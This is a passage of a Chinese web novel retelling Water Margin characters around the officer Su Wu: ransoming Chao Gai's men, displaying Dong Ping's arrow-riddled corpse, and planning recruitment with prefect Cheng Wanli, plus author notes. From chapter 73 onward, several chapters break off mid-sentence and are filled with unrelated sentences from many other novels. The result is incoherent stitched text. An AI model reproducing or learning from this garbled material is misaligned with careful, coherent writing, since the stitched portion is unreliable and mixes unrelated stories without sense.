只待天色渐明,那晁盖终于从水泊上岸了,飞奔就来,一眼看去,就是自家兄弟一个个绑缚在地。 却又哪里生得出怒气来?唯有一脸的惊惧与担忧。 显然朱仝也与晁盖说了许多话语,晁盖只管上前来躬身拱手大礼:“罪民晁盖,拜见苏都监!” 要问晁盖能为什么事情卑躬屈膝?刀斧加身兴许他也不怕,但为兄弟为义气,他可以。 这姿态着实是低,头都躬得与膝盖齐平了。 朱仝在一旁,与苏武赔着笑说:“都监,来了,还请都监……高抬贵手……” 苏武看向朱仝,只说:“你啊,通贼倒是通得直白。” 朱仝尴尬再笑:“都是自小相识,一起长大的……互相之间,皆有恩情来去,卑职又于心何忍……” “晁天王起身吧……”苏武微微抬手,倒也不看晁盖,还是去看吴用:“吴学究,那刘唐啊,你就不要想了,我与他无冤无仇,他却非要自寻死路,你们也没有本事到那大名府去劫人,我看呐,就此作罢。” 吴用也是叹气:“自作孽,怪不得旁人。” 却是晁盖忽然说道:“都监容禀一语,若是能使得钱财赎刘唐回来,多少钱财也舍得……” 苏武只看了看东边的鱼肚白,与晁盖说道:“先让朱仝随着你回寨子里取八万贯来赎这些人,速去速回,其他的,你回头与吴学究慢慢商议就是……” 晁盖只去看吴用,吴用开口:“晁大哥,事已至此,无奈何也。” “好好好,都监稍待。”说完,晁盖立马转身去。 一个时辰之后,八万贯钱,林卯带人去搬,从船上而下,一箱一箱,本就是生日礼物,其中并不都是钱,主要是金银珠宝之物。 如今,算起来大约有十一万五千贯在手,苏武似乎陡然松了几分压力。 “叫上酒店里的兄弟,把酒店里的车都借了,走!”苏武上马,转头看了看晁盖吴用与朱仝等人。 晁盖又是躬身,朱仝更是笑着拱手一礼。 就看那一二百匹马,百十个铁甲汉,连带三辆车,车里八万贯钱,还有一具插满箭矢的董平尸首,从官道往北奔去。 朱仝笑脸也就没了,皱眉不止,也在叹气。 晁盖连忙去给吴用解绑,也还问:“学究,朱都头与我分说许多,唉……这苏武,何以如此狠厉?” 吴用也是叹息:“如此大敌,只怪头前不知其能,好似横空出世一般……这董平害人不浅,只怕刘唐也是受董平蒙蔽蛊惑了……” “还好还好,他只要钱……”晁盖庆幸几番。 吴用却摇头:“他可不是只要钱啊……” “那他还要了什么?”晁盖又问。 吴用轻声一语:“他要养着我们,往后再慢慢一刀一刀来宰!” “啊?”晁盖似乎并未真正懂得,却立马也问:“这可如何是好?” “如何是好?”吴用双眼微微眯起,咬牙一语:“那便更要做大做强,让他宰不下手,才可得活!” “如何才能做得大做得强?”晁盖对于这种发展方向上的事,只管问吴用。 “自是招揽训练人手,四处筹集粮草,可惜了,林教头还陷在苏武之手,这练兵之事倒也为难。”吴用言简意赅,却是叹惜不已,而今是人才也没了,钱财也没了…… 朱仝雷横两人一旁听得摇头直叹,他俩本也不是这一路的人,朱仝更是这辈子从未想过要落草为寇,奈何这些大贼,与他朱仝又如此关系甚笃。 晁盖先点头应过吴用,又去与朱仝见礼拜谢,朱仝于他,恩情已然越来越大。 那北去东平府的百十骑中。 武松也问苏武:“哥哥,这些贼寇,怕是要防着才是,他们今日认栽,来日做大,怕是又要报仇来。” 苏武笑道:“是啊,所以,咱们更要自强,厉兵秣马,来日与他们战得来去,不然,像你我这般人,哪里有什么出头之日?” 武松慢慢在想,在想哥哥话语之意。 如今苏武,心中非常清晰明朗,只有一个念想,必须要掌大军,一州一府之地,能养几个人?若是不得频频升迁,他麾下编制又能有几个人? 大军哪里来?就从这条路上来! 此时的大宋,更还也有几处强军,西北种家折家,乃至刘家,南方婺州也出王禀之辈…… 若是不能借大宋这只鸡,把蛋孵出来,不能真正领一方强军大军,不得几年,辽宋就战,紧接着就是女真铁蹄横扫而来,毫无时间与空间上的空档可言,到时候何以自处? {兄弟们,头前的话题到此告一段落了,兄弟们许多有道理的评论我都认真看了(删除了一些直接骂人与发泄情绪的评论,也删除了一些正文后我自己的话语),兄弟们的这份热情,当真让我感动,谢谢兄弟们,别无他求,只愿写得让兄弟们看着舒心,更想获得兄弟们的真心认可。青州剧情就要开启了,宋江等许多人慢慢开始登场,苏武也要带着程万里步步高升,努力努力再努力!} 第71章 当真灭得此贼? 苏武领着百十骑士,天明回到东平府城,如此又是熬了个一夜未眠。 苏武还是第一时间往府衙里去,直把那插满箭矢的董平尸首往那前衙大院一扔。 此时正是衙门官吏前来上值之时,瞬间围得水泄不通。 “是董平,当真是董平!” “还真是他啊!苏都监当真好本事,这董平在山东河北地面,无人不知他的威势,如今看来,与苏都监一比,这董平着实算不得什么……” “那是!这是中了多少箭矢呢?” “我来数数……一二三四……” “莫要数差了。” “数不差,二十七支,整整二十七支箭矢,射得个满满当当!” “平常里啊,我等皆是让着他避着他,惹不起他,只以为他董平是飞扬跋扈,一介武夫得意忘形罢了,哪里知晓,这厮竟还是贼寇之辈!” 苏武在一旁看着,也笑,也与众人左右拱手致意。 知府相公程万里听得前衙吵杂,穿好官衣就往前衙里来,便是心中已然猜测到了什么,苏武一夜不归在外追缉拿贼,必然是他早间归来,又有所获。 想到这里,程万里脚步都快了不少,若不是顾着身份,只怕已然是飞奔而至,只待到得前衙,开口先问:“拿了何人?” 众人转身:“相公,是董平,死了嘿!” “相公,死得透透的!便是华佗扁鹊在世,也无计可施了!” “本府来看看……”程万里下得几步台阶,便往人群去。 此时他动作可不快了,相反很慢,一步一顿,一顿一走,架势十足,便又是个威势在身,龙行虎步。 众官吏退开道路,让程相公往前来看,乍一看得,便是董平,程相公心中大喜,却是脸上的喜色转瞬即逝。 换了个一本正经,负手而立,扬头左右,先抬手往地上一指,用略带寻常的语气问左右一语:“这是中得多少箭矢啊?” 立马有人答:“相公,卑职刚刚数过,二十七支正好。” “嗯!”程相公微微点头,转身再迈步,出得人群,走到苏武身边,点了点头:“苏都监,不错不错!” 苏武早已行礼:“相公智计惊天,谋划得当,运筹帷幄,下官如此才能一举擒贼。” 程万里闻言就笑,回头去看众多官吏,笑容不收了,微微再点头:“小事小事……” 众人都一脸震惊去看程万里,这缉贼之事,众多官吏显然都未参与,便是都靠猜测,不知其中详细。 此时听来,竟当真是怂了两个来月的知府相公背后谋划? 却听苏武还说:“相公为此事,还拿府中千金做诱饵,诱那贼人现身,这般大义,自问何人能比?那程小姐更是女中豪杰,遇贼沉着冷静,毫不慌乱,当真是满门有大义!” 再看满场众人,更是惊骇不已,真是舍得孩子套得着狼啊! 什么是做大事的人? 这就是做大事的人! “相公高明!” “相公大义!” “相公实乃吾辈之楷模,难怪朝廷让相公来补了陈文昭的缺,原来是相公竟是有如此通天手段!” 程万里抬手摆了摆:“不必如此来言,不足挂齿,不足挂齿啊!此不过一小胜而已,那大贼还在,东平府还不安宁,还仰赖诸位勠力同心,剿贼安民!” 随后,程相公又看了看苏武,再说:“此番事成,还真是苏都监悍勇无当,舍命相搏,回头啊,本府自当往枢密院去为苏都监请功请赏!” “恭喜苏都监!” “苏都监此番辛苦!” 苏武摆摆手:“相公慧眼识珠,抬举擢拔,岂敢不用心用命?” 场面话差不多了,程相公甩了甩官衣大袖,那叫一个潇洒恣意,转头去:“苏都监,你随本府来!” 苏武自是随着去,又是那个后衙书房。 就看进屋之后,知府相公又左右看了看窗户,也往窗边去走,只是走得一两步去,又停住了,转身又不去了,只管回坐。 苏武满心疑惑,也往窗户看了几眼,没看出个所以然来。 “坐!”程万里手一比,再说:“此番辛苦你了!” 苏武已然落座了,只答:“分内之事,更是相公看重,不敢懈怠。” 程万里摆摆手:“你我啊,头一番就有言了,不分内外,更不必多客气。” 苏武点点头。 程万里便又问:“此番你立新功,可想过要什么奖赏啊?” 苏武还真不客气:“相公,那下官就直言了,而今呢,董平虽死,但那前任留下来的大贼还在,就在那水泊梁山之处,那贼人而今是兵强马壮,当要早早准备,操练人手,打造兵甲,到时候一举灭之,才真正是相公为官一任之大功也。” 程万里闻言,稍稍思虑一二,便问:“当真灭得此贼?” “而今下官临危受命,便是一心在此,不灭此贼,还有何颜面再见相公?还有何颜面在此为官?剿贼之事,自当殚精竭虑,日日在心,唯有一死报之!” 程万里又起思虑,用手轻轻敲打着座椅扶手,慢慢说道:“而今,本府最信你不过,既然你出此言,立下军状,本府又岂能与你说那疑人之言?便也是知晓,操练人手打造兵甲,要钱呐,本府便想的是钱的事,不论如何,有一支强兵,总归是好事……” “钱的事,下官也在想办法……”苏武又拿准一个时机。 “说来看看……” “下官想要一张正店的公文。”苏武直白一语。 “嗯,酒是挣钱的好门道,东平府也不是缺粮之地,好说,便依了你。”程万里此时哪里还能不好说话? 却是程万里又说:“但光靠你酿酒卖酒,也不是个正经办法,本府便也往童枢密处去个陈情的书信,而今贼势大了,剿贼便也要军费支用,合该多支用一些来,哪怕是要一些兵甲补充,也是好的……” “多谢相公!”苏武闻言就喜,程万里,还真是让人有几分感动,真干活办事,这领导挺好! “你也不必谢我,我也不谢你了,终究你我不分内外,一心在此,你立功,便也是我脸面在朝廷里有处放,童枢密脸上也有光彩。” 程万里多说了几句。 也是让苏武明白过来,这东平府的事,还真不是一个小地方上的事,童贯的门生程万里被派来补缺,似也不是那么简单,当然,也不是那么复杂。 只是原本里,程万里一家要死于非命,而今却有大不同了。 “下官明白其中利害!”苏武点头答着,便也是听懂了程万里话语之意,程万里也在给苏武描绘前程,只要事情办得好,升迁自然不在话下。 “你啊,又能效死,又有大智,好啊!”程万里看着苏武,欣慰非常,忽然还觉得自己有些幸运,焦头烂额之际,还真就碰上了这么个大才。 苏武也笑:“相公才是那人人都愿遇到的好上官。” 程万里嘿嘿就笑:“嘿嘿……头前允了你一件事,事已然成了,便是说到做到,那叫做武松的小将,往后就是东平府下阳谷县参军了。你一夜未眠奋勇追贼,当快快补一觉去,往后不论什么事,你只管来与我禀报商议就是。” “替武松拜谢相公!”苏武起身一礼。 “去吧去吧……”程万里轻轻挥着手,脸上带笑,挥得很温柔。 第72章 岂不教人笑掉大牙? 就看那程万里从书房里走出来,便直接站在门口稍稍一等。 等那屋檐转角处的姑娘走过来。 “又偷听了?”知府相公心情极好,嘿嘿笑着。 “父亲,这怎么能叫偷听呢?我本就参与了此事,只是女儿身不便罢了,不然也当与父亲一起议事才是。” “你这一说,我还驳不了你了。你这丫头啊,打小就有这份聪明机灵的劲儿,那苏武还夸你的,说你遇贼沉着冷静,毫不慌乱,说起来……你比为父啊,兴许还真强几分。” 程万里,真有一脸的溺爱,似也还有几分自知之明。 “他真夸我了?”姑娘立马就问。 程万里闻言,心中一紧,眉头就皱,一脸狐疑看着自家乖女。 “父亲……” “你说……你说,你是不是……”程万里左右转了一圈,急的,再来问:“你说你是不是觉得那苏武当真不错?” 乖女点头:“是不错啊?用心用命,奋勇敢死,为父亲鞍前马后,毫不言苦,更不居功!” “不是!”程万里脸上狐疑更甚。 乖女叹了一口气:“唉……父亲,你想问又要藏,藏又藏不住,许多事啊,说不清道不明,你如此来问,我一个女子,又如何去答呢?” “当真牙尖嘴利,还说你不过了?反正……武夫不行!”程万里如此一语。 “父亲,我还真未想到这一步去,即便真说男女,哪里又是这般简单,那父亲也太小瞧我了。但你说他是武夫,他当真与那些武夫一样吗?或是父亲若真觉得他哪里不行,正是倚仗之时,父亲何不就教他读读书?” 程小姐说得其实很认真,她也真还未想过什么男女之事,也是这老父亲过于敏感。 许也是女大不中留,到了这般待嫁的年岁了,什么事都能挑动这位老父亲舍不得自家乖女的那点心思。 见乖女话语真诚认真,程万里便是说道:“唉……也不是为父看不上他,他其实吧……再怎么说,咱们是书香门第,咱们是文人士大夫,若真嫁个草莽而起的武夫,到东京里,岂不教人笑掉大牙?” 程万里纠结在此,一面又觉得苏武当真是个少有之大才,一面是真想那些事来,着实过不了心中这一关,不能真让满东京的人笑掉大牙去。 “父亲,不必这么自寻烦恼。真说起来,咱们家在东京,本也教人背后笑得多了……” 话语说到这里了,气氛也到这里了,乖女当真也是由衷之语。 程万里闻言,便也是叹气。 为何程万里在东京教人笑? 一个文官,一个大宋的文人士大夫,拜一个阉人为座师恩相,这阉人即便再如何受宠得势,别人明里不敢来笑,暗地里岂能不诟病? 不说东京,就说这东平府里这些人,哪个不知他是童贯门生?哪个暗地里不曾轻视轻蔑? 便是那董平,头前无礼至极,岂不也是心中有那几分轻视看不起? 何以程万里刚才在前衙那般舒心畅快? 程万里有程万里心中的苦! 但话又说回来,若不是当初拜了这一拜,五品的知府相公,程万里这一辈子也不用去想了,梦都梦不到。 程万里心里有苦,叹着气,往前走。 乖女跟在身后,便是安慰:“父亲不必在意这些……” 程万里不说话,只摆摆手。 此时,苏武在军营里睡,呼呼大睡,睡得安稳非常,好久没睡得这么安稳了。 倒也睡得不多,两三个时辰左右便醒过来了,只觉得浑身神清气爽。 出门来,看着校场,虽然显得空荡荡,但也莫名有一种说不清楚的意气风发。 众人也多在补觉,倒是武松似乎也并未多睡,已然出现在苏武面前。 “二郎,你为阳谷县参军的事,相公亲口而言,定妥了,只等诰命文书就是。”苏武其实也有激动。 武松自然更是激动不已:“此生得遇哥哥,当真是上辈子修的运道!” “更是你自己本事在身,无人可比!”苏武拍着武松的肩膀。 “嘿嘿……哥哥说话,我最是爱听,还是哥哥待我恩重如山!”武松是有骄傲在身,更也通得情分。 “这话就不多说了,今日你不走,明日咱们一起往阳谷县去一趟,也往独龙岗去。”苏武此时,干劲十足。 便是还想很多,还得去一趟大名府,现在手上有钱,就得花,买马,买铁,山东河北地面,论这份生意人脉,卢俊义当数第一。 也是要去认识认识卢俊义。 就听武松在问:“哥哥此番往独龙岗去,是去招揽人手?” “是啊,咱拢共就这么几十号人,那梁山贼寇还有四五百喽啰呢!”苏武笑着。 “好,招揽人手练兵好!”武松似也起了兴奋激动,又想起一事来,又问:“那林冲还在营里押着呢,哥哥准备如何处置?” “不急,只管押着,晾他几天再说。”苏武脸上有几分阴谋诡计的模样。 武松思索起来,点着头:“晾着也好,许是他还想着梁山贼人会想方设法救他呢,便教他等上几天再说,看看有没有人来救他!” “二郎,你如今越发能行事了,这倒是其一,那林冲最是多愁善感,只待他多想一些自己那命途多舛,想得悲愤不已,想得淤血在心……” “哦,我知道了,如此他自是越想越是无望,越想越是悲戚,哥哥再来治他一番,兴许会有奇效。” 武松此时说来,那是眉飞色舞,又学一招。 苏武点点头:“走,先去都监衙门里坐班,先把东平府下,阳谷、平阴、东阿、寿张、中都,五县的所有军册都拢一遍,到时候一县一县都要去点校一番,剔除差额,做个实册,到时候再补员额,便是名正言顺。” “那四县军将也都要换了才是。”武松接了一语。 “那是自然,只是而今,咱们人手不足啊!只待慢慢来换,此番操练的新军,皆拢在府城,阳谷县重要,也放一些,其他县倒是可以暂时放任一二,只待慢慢来……” 苏武计划上很务实。 就以阳谷为例,阳谷是五县里最富庶繁华的县,五百人的编制,也只养了二三百人,其他四县,只怕养的实数更少。 东平府,禁厢编制,应当是五千之数,其中东平府有实数一千五百左右。 如此一加,实际数目应该就在两千五百左右。 苏武能在编制内补的员额,也是两千五百的数。 独龙岗三庄,招个一千五百人应该不在话下,还得再招一千人左右。 头前稍稍点过东平府的兵甲,能凑出个三四百套好铁甲,缺了两千一二百套。 五百匹马是必须要的,即便做不到一人双马的远程飞奔,怎么也要先真让骑兵有匹马,有马在座,才能熟练马术,熟练马军阵仗,如此才能成为真正合格的骑兵部队。 苏武手中,只有一百六七十匹,便是也缺至少三百多匹。 手中十一万五千贯的钱,得赶快花,不够再说。 五百披甲骑兵,两千披甲步卒,这必须得养起来,往后若是有能力,再来慢慢多积攒。 青州之事怕是不远,已然有一场大战当前,便是万万不能真让宋江成功劫掠了青州城池。 想得这么多,苏武此时反倒不曾感觉压力山大了,而是有一种跃跃欲试,心情也好,大手一挥:“走,看看弟兄们都起来了没有,一会儿吃酒去!” “吃酒好!”武松喜笑颜开。 (兄弟们,今日周六已更,明天周日下午两点之后,准时上架,说个数,一万五千字以上,两万字争取。后面有上架感言……) 上架感言 兄弟们,先再谢过! 谢了很多次,不是因为矫情,而是人生起落无常,人到中年,生活不易,一本小说费尽心思来写,为的是一份成就感,也为一份认同感。 其实更为了照顾父母,养育孩子。 有一些是老书友,知道我这两三年近况不佳,父亲重大交通事故,婚姻也破裂…… 如此种种,不多说,不是卖惨,更不想卖惨。男人,就得撑起来,我也一直撑着,不曾卖过惨。 这本小说写到这里,成绩其实还算不错,只要后续不出什么大问题,应该能挣一些钱,普通收入里不算少的钱。 所以我频频感谢兄弟们的支持,以前也算出过小成绩,挣过一些钱,但那时候更多是一种自我感觉良好的意气风发。 这回,更多是一种感动,写出来一个故事,真的有很多人在看,真的有很多人在支持,写得不好的时候,真有人长篇大论来分析支招,理清脉络。 没有了以前的意气风发,而今我其实心态很卑微,这大概就是年纪吧…… 更要感谢我的编辑梧桐,他这个人有一种藏在心里的热情,对人如此,对编辑这份事业也是如此。 一次一次帮我看稿子,给我出主意,给我出建议,给我直截了当点出不足,不厌其烦…… 写这个故事题材,很大一部分原因也是梧桐出的主意,写到这个成绩,他应该不会太过失望了。 还要感谢我一个兄弟,青山尽墨,来日还会推一下他的书,他是一个极好的朋友,一个极好的心理医生,一个极好的小说作者,他肯定能看到这段话。 最后说一说更新与加更,其实我已经不知道怎么来说这件事了,但总要说一说。 往后更新,除了上架第一天,应该大概保持在每天八千到一万字左右,偶尔有事也会懈怠一二,这对中年人来说,已经是到了油尽灯枯的能力尽头了,许诺出来八千到一万字之后,我心里都在打鼓…… 加更这件事也就许诺不出什么了,到时候欠章也不太好,以前欠过,到完本都没还上。 所以,盟主就加更冠名感谢一章,当然,也不一定会有盟主。 每月两千月票,也加一更。 实在抱歉。 上架,干! 努力努力再努力,努力写好! 我爱你们,爱得深沉! 爱的也是我自己的生活! 第73章 你先试试看(大章) 独龙岗今日热闹非常,祝家庄的校场里人头攒动,年轻小伙子挤得是人山人海。 祝朝奉捋着胡须,笑出那仅剩的七八颗牙来,两只手抬在半空压了压:“静一静,请苏将军来说话!” 苏武走到将台头前,左右扫视几番,这么多棒小伙,真好。 苏武开口:“独龙岗是好地方,你们也都是好儿郎,某看着你们,心中就 “+1隐秘福利光环”,可使得沈栗银行账户里的交易信息,受到高级保护。当别人想要查询的时候,福利游戏会自动干涉目标,甚至找来相关势力,强加干涉,使其无法查询,以达到隐秘目的。 他没有松开双手,但也不知道该如何回应,只能就这么愣在原地。 银盟网友彻底炸了,这不可能,这是作弊,就算白衣王牌也难以瞬间完成高达1K的实际cāo作,稍有不慎机甲可是会停止的,当然系统判定复仇影骑并没有作弊cāo作。 金色光芒和赤色光芒从两具彻底打开的棺材之中爆射而出,将整个石壁空间彻底照亮。 将隐杀宗师兄弟身上有价值的东西都收入储物戒,沈奇便用从两人身上搜到的化尸水,将两人的尸体、衣物都化成了一滩浓水,随着溶洞中的涓涓溪水流走。 差不多找了四、五位联系人后,她获得了斗鱼直播平台,老总联系方式。创业者是两位80后,公司成立半年多时间。 方适轻叹,还能说什么呢?自己虽然心怀天下,怎奈天下给了自己一个猪队友,我不负天下,早知道天下会负我,我应该先负天下。最少这样感觉比较有豪迈之气。 “哎哟!曦蕊妹妹,这一个多月不见,又变漂亮了嘛!”姚乙娜踩着高跟鞋上前,率先给了方曦蕊一个拥抱。阮若初则贴心的为方曦蕊拿过行李,让保镖安排托运。 方源心中警惕,但面上自然不露声色,说无所谓,并解释了自己跳进来的原因。 虽然之前在弹幕里起哄之时说的轻巧,但现在看到还是有些惊讶于贝爷的作死精神。 那些跟在后面,一起赶来的驭兽师们,也都看见了那狼藉的一幕。 王森表了态,这话一出口,他身边的那些军人好像松了一口气一样,眼里的光彩也更明亮,在军人的世界里佩服强者是本能。 “是,几百年前,是我们云焰帝国的一位高人给魔域下了禁忌,现在魔域禁忌已解开,自然是要拿我们祭刀。”上官弘夜解释道。 她的黑发在夜风中轻轻摆动,身上穿着一件红色低领紧身超短裙,将那火热的身材勾勒得淋漓尽致。 “嘭……”一股冷然的气息自凤于飞周身扩散而开,强烈的杀气让莫名都感到一阵阵的心悸。 他也不知道自己在说些什么,等他意识到杨蓉蓉脸上闪过一抹受伤的神色时,一切都已经来不及了。 待三人都坐了下来,路瑾瑜一挥手,四周便出现了一个屏障,墨子语咂舌,路瑾瑜的能力竟然这么强悍了? 就这样反反复复了好几次,白阳终于将其他妖兽尽皆斩杀干净,双头阴阳龙也将远古森林破坏了大半,一人一兽终于开始正式会战。 白阳毫不犹豫拿出了金光飞刃,形成了无视防御的金乌爆炎斩,任由他诡异万千,他同样攻破。在连续不断暴风雨般炽烈毁灭的攻势下,巫漠察觉到了一丝危机,周身浮现出道道血光,形成了坚硬厚实的血色壁垒。 第74章 合伙生意,一起发财 从县衙出来,苏武又感觉神清气爽,前程一片广阔。 就看那卖梨的郓哥又在县衙门口转悠,苏武只管抬手一招。 那郓哥立马上前躬身:“拜见将军,将军如今好威势啊,小人行走在这街面之上,哪个不说将军的剿贼之事?个个都说咱阳谷县出了个大人物,了不得的大人物……” “行了,你啊,大概卖梨赚不得几个 “不了,我先回去,我们的合作和联系不要给阿蛇知道了。”我说。 吃早餐到一半的时候,丽珍和阿光来,丽珍一身珠光宝气的,看样子是特意的打扮的一样,那个阿光则是啤酒肚,头发有些少。 在另外三人好奇的目光中,神奈天闭上双眼,缓缓蹲下,左手横置在右膝上,头颅深深埋下。 不,应该是从阳台上被风吹下来的,那个阳台就是叶清词的住的卧室。 马超轰然应诺,自去点兵去了。他知道,吕布将这么重要的任务交给自己,是对自己的信任,他一定要为姐姐争脸。 在所有学生们惊奇惊讶的眼光中,他一屁股做到了董巧璐的身边,咕咚一声,凳子晃了晃,发出吱吱呀呀的晃动声,足可见他的力道之大,以及冲劲之猛。 水枪的枪尖,锋芒凛冽、冰气森寒;火墙的攻势,厚实浓重,火光四射。 莫西干,相当给力的控球后卫,意识很好,带球传球水平不错,但投篮技术欠佳。 整个过程里,便就只有纳兰张了张嘴却什么都没说出口。 眼见安信王子一时间也没打算开口,星罗便拾取得起身告辞。 安信王子又客套了一番便吩咐身边的忽罗寒送星罗出门。 自己却拉扯着纳兰走进内室。 所以唐劲对王黟清一直保持着警戒之心虽明知她真心爱自己却始终不愿和她生任何摩擦。 方伯羽的话音一落,时若雨哭的更加伤心了,一旁的任娴也终于是忍耐不住,蜷缩在一角,抱着膝盖哭了起来。 说罢,他拿起一串就塞进了嘴里,将刚才的美好气氛破坏地一干二净。 不过就算如此,简淑的整张脸也被扯得变形了,而且变得非常严重。 “那啥,老板,咱歇会成不?”王勿是真的累了,自己要是魂体的话,要多远跑多远,自己这副身体,十几年来确实不怎么锻炼。 这人?梗月怎能丢的住?所以梗月先是一个左上躲后下趴,就这么躲避了子弹的攻击。梗月反手定位在纸渲脑门上一发炮弹。 不过一会慕羽晨还真的有点吃不消了,速度与各方面的体能也开始慢慢的降了下来。 而蝶空系则一副什么都没干的样子,依旧一副大爷坐姿,还悠闲的摇晃着红酒杯,轻轻的抿了一口红酒。 他自然知道紫骅骝的重要性,更知道紫骅骝的灵性。若是萧漠决意强行抓捕的话,不光是很难得手,更可能会被踩成肉泥。 蝶空系刚开始还是听得懂艾佟想要表达什么,但是到后面就听得稀里糊涂的,但是蝶空系可以笃定,未来的劫难已经蔓延到这里了。 他们到来之后第一件事,就是直接布下阵法,封锁周围,防止合欢教的邪修逃跑,然后挨个儿上门捉拿。 工作室二楼,这里早已被邱阳改造成录音棚,这里面有钢琴,有吉他,有架子鼓等等邱阳喜欢的乐器,除此之外,录音设备什么的都是顶尖级别的,即使找遍全国也找不到比他这里还棒的录音棚。 第75章 我如何信得过你? 只得三天之后,东平府中,校场之上,人头攒动,苏武在将台之上,心情大好。 独龙岗三庄来了一千五百七十人,个个都是棒小伙,还有祝龙、扈成、杜兴。 还有林卯李成等六七十号猎户汉也在。 苏武自又要说两句接地气的话语:“弟兄们既然到此,心中自安,吃喝用度与饷钱,一应不会差。好生操练,某每日也 折子到京不多几日,圣旨飞马递到广西:张亮基著赏二品顶戴兵部侍郎署理湖南巡抚。张亮基成了第一个跳出广西火坑的人。 也许有人会问现在中位天魔还没有破除封印,怎么不直接消灭他。 而旁边的太乙真人,则是一副仙风道骨的模样,脸带微笑,让人情不自禁的想要亲近之,不过陈义却发现太乙真人居然看向自己身旁的哪吒眉宇间居然含有一丝玩味。 李守备的顶戴,这时已经被亲兵摘下。辫子不知怎么已经散开,把脸遮了个严严实实。李守备趴在堂下,两支眼睛在头发后面轱轳轳乱转。分明在为自己寻找退路。 “既然是韩大处长带队,我们就没必要再检查了,说谁是匪谍我都信,至于韩大科长嘛……绝对不可能,打搅了;收队!我们再去别处转转。”李思明得意的笑了笑转身上的车。 生物动力法的核心原则是尊重自然,顺天而为,葡萄酒只是其应用的一个方面,作为中国人其实更容易接受,因为在中国可以找到很多类似的理论,最典型的就是道家思想。 曾国藩因为从江贵的口中已经知道了事情的端底,所以在心理上多少还是有了一些准备,不仅让萧孚泗拎着片刀住在家里,还把和萧孚泗在一起练武的李臣典也找来喝茶。 叶默是激情派。除了第一段感情让他久久不能释怀,之后的恋爱都是一见钟情那种。说白了就是下半身动物,由欲望刺激大脑分泌肾上腺素、去甲肾上腺素、安眠酮……当激情不在了,感情也就没有了。 “如今我们炼丹师协会日益壮大,不过这还不够,所以我决定于天玄帝国全境招募年轻的有望成为炼丹师的普通人进入协会,本次选拔将由我亲自主持。”秦阳大声道。 反正是说了一堆,可见庞市长还是做的很不错的,要不然不会有这么多的认可。 听刑孝森这么说,林宇下意识的就想不收这丹药了,目前对于他来讲,没有什么比报仇更重要了。 所以,昨天她差点被一个恶心的男人侮辱的时候,她给他打了一个求救电话,他却给无情的挂断了,因为他在陪着顾允瓷。 冲顶渡劫时,几家仙门的长老和高阶弟子们都帮忙护了劫阵,连音得他们的相助,顺顺利利的渡了劫。 孵出糖宝的那天晚上她偷偷收敛了气息躲了起来。白子画出现了,想对花千骨下手,但是最后还是放过了她。 北冥寒已经有了一个周祥的计划,不过还有一件事,他还要征求一下顾倾心的意见。 俞钟对于娄远帆阴阳怪调的称呼半点多余的反应也没,只继续绷着他那张扑克脸说:“不用你管,也不用我管,自有人来管。”说话的时候,视线往教学楼的入口处瞥了瞥。 这个事情于一叶真的是特别的擅长了,伍新都拿她没有办法,完全在互怼当中赢不了。 攻击力最强的最霸道的皇刀,加上风力的推动,虽然没有风火相交的威力,但是也把攻击发挥到最大,在绝对的速度下,皇刀的威力变得更恐怖。 第76章 贼人可凶可吓人!(求首订) “来了,一会儿你们把你师傅的模样尽量的描绘出来,翟老爷子会帮你们画的,翟老爷子可是国家级的大师”杨易卜对牛大力和张天伦俩人说。 “我感觉我恋爱了…”说完,朱伟明还做了一个格挡的模样,他怕自己这么说又要被大哥打了。 他们现在是躲在了才经过地动的平地处,这边石壁凸起,恰好形成了一个稳固的三角状。 她对于自己同去的圣旨没什么意见,反倒是有些激动,毕竟她就不是个安分的主儿,去西陲就当是旅旅游看看山水呗。 电话那头自称西门皮鞭的绑架犯不知道怎么把电话打到了叶昊这里,还说什么他绑架了他的好伙伴慕容广场,虽然叶昊压根不认识对方,但是丝毫不影响他套路对方。 而她也意识到,从卫七郎刚走时开始,她就已经开始思念起他了,这份随着时间慢慢变深的感情,终于在这一刻让她准确地看清自己,是多么的想他,想他的笑容,想他的一切。 舒心突然觉得吴思思一定是有什么事情要告诉自己,但是在这个时候她也不好意思说什么,于是只能把自己心里的那些话给隐藏了起来。 “可是皇上非要你娶怎么办,毕竟圣旨不可违。”董如皱着眉头,脸蛋都因为连日来的心事积压,显得过于苍白。 金涛松和贺梁鑫将堂堂太子妃关进了大牢,犯了错自然就会被压制,这是莲止为温知瑗争取到的优势。 盘旋着这样的念头,阴影巨人心中再也没有了非要战胜眼前这个家伙的求生欲望,转而应该如何才能更好的坚持下去,争取到足够的时间让本体在自己体内重生。 万一被宝宝发现她能听到宝宝的心声,以后宝宝不在心里嘀咕了可怎么办? 且不说威力如何,单单将神识与灵气尽数挥霍,便不能轻易动用。 又收起了绣花姑娘,让画皮变化成晨坤的模样,奄奄一息躺在床上。 他们再婚后,又各自有了健康的孩子,她这个不健康的病秧子,死了也没有人在意吧。 恐怕之前我们让人调查的关于温柔乡里的人是否是自愿待在里面的这事儿,十有八九也是假消息。 “三哥,那可能是你听错了,傅公子派了一些护卫就守在博乐坊周围这些地方,就是怕有人闹事。 她仿佛又回到了那个战火纷飞的年代,父兄的英勇身影在她眼前浮现。她清晰地记得那一战的每一个细节,每一声惨叫,每一次挥剑,每一次的生死瞬间。 到底是什么样的绝世大阵,竟然可以让洪荒大陆都变得更加稳固了? 沈鹤之只是一个善于掩饰的伪君子,一个在权力斗争中迷失自我的可怜虫。 江岁欢连忙走过去看,发现角落的柜子里有一道暗门,暗门里面塞满了人。 毕竟,今天王野跟这些人们的比试,简直是太刺激了,令这一些围观的术士们,在感觉到刺激的过程中,已经将这些事情给忘记了。 虽然方俊祥很不高兴,但是因为老爷子在,他也不敢怎么样。不过,他还是到了比赛现场,想要从中作梗,为难方霏霏。 可他却顾不了那么多,一双眼睛如同淬了血一样,狠狠的盯着那个男人。 又一次逃脱刺杀后的逸王突然一阵心慌反胃,连忙撑着床沿狂吐不止,胳膊发抖,抖的厉害。 “你从榕城刚回来吗?要不要来我们曙光城。”绪白还在把玩着晶核,看向季桁。 他径直走向未来号,甚至毫不掩饰地看着那个黑影,脸上还带着些嘲讽的笑容,仔细观察着他的动作。 程真拿了起来,组织对于她的一举一动,都是了如指掌的,她遇到什么人,经过什么事,仿佛在她的身上安了监视器一样。 她松下紧绷的肌肉,眼神却是死盯着徐仁卿缓缓上前。闻起来也没什么不妥,身子也是肉体凡胎。 不过,程真还没变,妈妈说程真城府更深,城府是什么,何夕颜不知道,不过,她现在有点不喜欢那个笑得假假的单依涵,倒是程真,从来闷声不吭的,她倒是看得顺眼。 听到这话,君无异这才明白过来,只是这方法真是有些‘不近人情’了。 